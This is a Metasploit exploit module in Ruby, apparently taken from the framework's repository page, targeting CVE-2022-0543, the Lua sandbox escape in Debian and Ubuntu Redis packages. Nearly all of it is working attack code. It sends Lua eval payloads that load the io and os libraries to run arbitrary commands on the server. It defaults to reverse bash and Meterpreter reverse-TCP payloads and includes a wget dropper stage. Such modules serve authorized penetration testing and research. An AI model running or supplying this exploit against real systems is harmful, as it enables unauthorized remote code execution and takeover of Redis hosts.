Path: blob/master/modules/exploits/linux/redis/redis_debian_sandbox_escape.rb
32588 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Exploit::CmdStager10include Msf::Auxiliary::Redis1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Redis Lua Sandbox Escape',17'Description' => %q{18This module exploits CVE-2022-0543, a Lua-based Redis sandbox escape. The19vulnerability was introduced by Debian and Ubuntu Redis packages that20insufficiently sanitized the Lua environment. The maintainers failed to21disable the package interface, allowing attackers to load arbitrary libraries.2223On a typical `redis` deployment (not docker), this module achieves execution24as the `redis` user. Debian/Ubuntu packages run Redis using systemd with the25"MemoryDenyWriteExecute" permission, which limits some of what an attacker can26do. For example, staged meterpreter will fail when attempting to use mprotect.27As such, stageless meterpreter is the preferred payload.2829Redis can be configured with authentication or not. This module will work with30either configuration (provided you provide the correct authentication details).31This vulnerability could theoretically be exploited across a few architectures:32i386, arm, ppc, etc. However, the module only supports x86_64, which is likely33to be the most popular version.34},35'License' => MSF_LICENSE,36'Author' => [37'Reginaldo Silva', # Vulnerability discovery and PoC38'jbaines-r7' # Metasploit module39],40'References' => [41[ 'CVE', '2022-0543' ],42[ 'URL', 'https://www.lua.org/pil/8.2.html'],43[ 'URL', 'https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce' ],44[ 'URL', 'https://www.debian.org/security/2022/dsa-5081' ],45[ 'URL', 'http://web.archive.org/web/20240910172732/https://ubuntu.com/security/CVE-2022-0543' ]46],47'DisclosureDate' => '2022-02-18',48'Privileged' => false,49'Targets' => [50[51'Unix Command',52{53'Platform' => 'unix',54'Arch' => ARCH_CMD,55'Type' => :unix_cmd,56'Payload' => {},57'DefaultOptions' => {58'PAYLOAD' => 'cmd/unix/reverse_bash'59}60}61],62[63'Linux Dropper',64{65'Platform' => 'linux',66'Arch' => [ARCH_X86, ARCH_X64],67'Type' => :linux_dropper,68'CmdStagerFlavor' => [ 'wget'],69'DefaultOptions' => {70'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'71}72}73]74],75'DefaultTarget' => 0,76'DefaultOptions' => {77'MeterpreterTryToFork' => true,78'RPORT' => 637979},80'Notes' => {81'Stability' => [CRASH_SAFE],82'Reliability' => [REPEATABLE_SESSION],83'SideEffects' => [ARTIFACTS_ON_DISK]84}85)86)87register_options([88OptString.new('TARGETURI', [true, 'Base path', '/']),89OptString.new('LUA_LIB', [true, 'LUA library path', '/usr/lib/x86_64-linux-gnu/liblua5.1.so.0']),90OptString.new('PASSWORD', [false, 'Redis AUTH password', 'mypassword'])91])92end9394# See https://github.com/rapid7/metasploit-framework/pull/1314395def has_check?96true # Overrides the override in Msf::Auxiliary::Scanner imported by Msf::Auxiliary::Redis97end9899# Use popen to execute the desired command and read back the output. This100# is how the original PoC did it.101def do_popen(cmd)102exploit = "eval '" \103"local io_l = package.loadlib(\"#{datastore['LUA_LIB']}\", \"luaopen_io\"); " \104'local io = io_l(); ' \105"local f = io.popen(\"#{cmd}\", \"r\"); " \106'local res = f:read("*a"); ' \107'f:close(); ' \108"return res' 0" \109"\n"110sock.put(exploit)111sock.get(read_timeout)112end113114# Use os.execute to execute the desired command. This doesn't return any output, and likely115# isn't meaningfully more useful than do_open but I wanted to demonstrate other execution116# possibility not demonstrated by the original poc.117def do_os_exec(cmd)118exploit = "eval '" \119"local os_l = package.loadlib(\"#{datastore['LUA_LIB']}\", \"luaopen_os\"); " \120'local os = os_l(); ' \121"local f = os.execute(\"#{cmd}\"); " \122"' 0" \123"\n"124125sock.put(exploit)126sock.get(read_timeout)127end128129def check130connect131132# Before we get crazy sending exploits over the wire, let's just check if this could133# plausiably be a vulnerable version. Using INFO we can check for:134#135# 1. 4 < Version < 6.1136# 2. OS contains Linux137# 3. redis_git_sha1:00000000138#139# We could probably fingerprint the build_id as well, but I'm worried I'll overlook at140# package somewhere and it's nice to get final verification via exploitation anyway.141info_output = redis_command('INFO')142return CheckCode::Unknown('Failed authentication.') if info_output.nil?143return CheckCode::Safe('Unaffected operating system') unless info_output.include? 'os:Linux'144return CheckCode::Safe('Invalid git sha1') unless info_output.include? 'redis_git_sha1:00000000'145146redis_version = info_output[/redis_version:(?<redis_version>\S+)/, :redis_version]147return CheckCode::Safe('Could not extract a version number') if redis_version.nil?148return CheckCode::Safe("The reported version is unaffected: #{redis_version}") if Rex::Version.new(redis_version) < Rex::Version.new('5.0.0')149return CheckCode::Safe("The reported version is unaffected: #{redis_version}") if Rex::Version.new(redis_version) >= Rex::Version.new('6.1.0')150return CheckCode::Unknown('Unsupported architecture') unless info_output.include? 'x86_64'151152# okay, looks like a worthy candidate. Attempt exploitation.153result = do_popen('id')154return CheckCode::Vulnerable("Successfully executed the 'id' command.") unless result.nil? || result[/uid=.+ gid=.+ groups=.+/].nil?155156CheckCode::Safe("Could not execute 'id' on the remote target.")157ensure158disconnect159end160161def execute_command(cmd, _opts = {})162connect163164# force the redis mixin to handle auth for us165info_output = redis_command('INFO')166fail_with(Failure::NoAccess, 'The server did not respond') if info_output.nil?167168# escape any single quotes169cmd = cmd.gsub("'", "\\\\'")170171# On success, there is no meaningful response. I think this is okay because we already have172# solid proof of execution in check.173resp = do_os_exec(cmd)174fail_with(Failure::UnexpectedReply, "The server did not respond as expected: #{resp}") unless resp.nil? || resp.include?('$-1')175print_good('Exploit complete!')176ensure177disconnect178end179180def exploit181print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")182case target['Type']183when :unix_cmd184execute_command(payload.encoded)185when :linux_dropper186execute_cmdstager187end188end189end190191192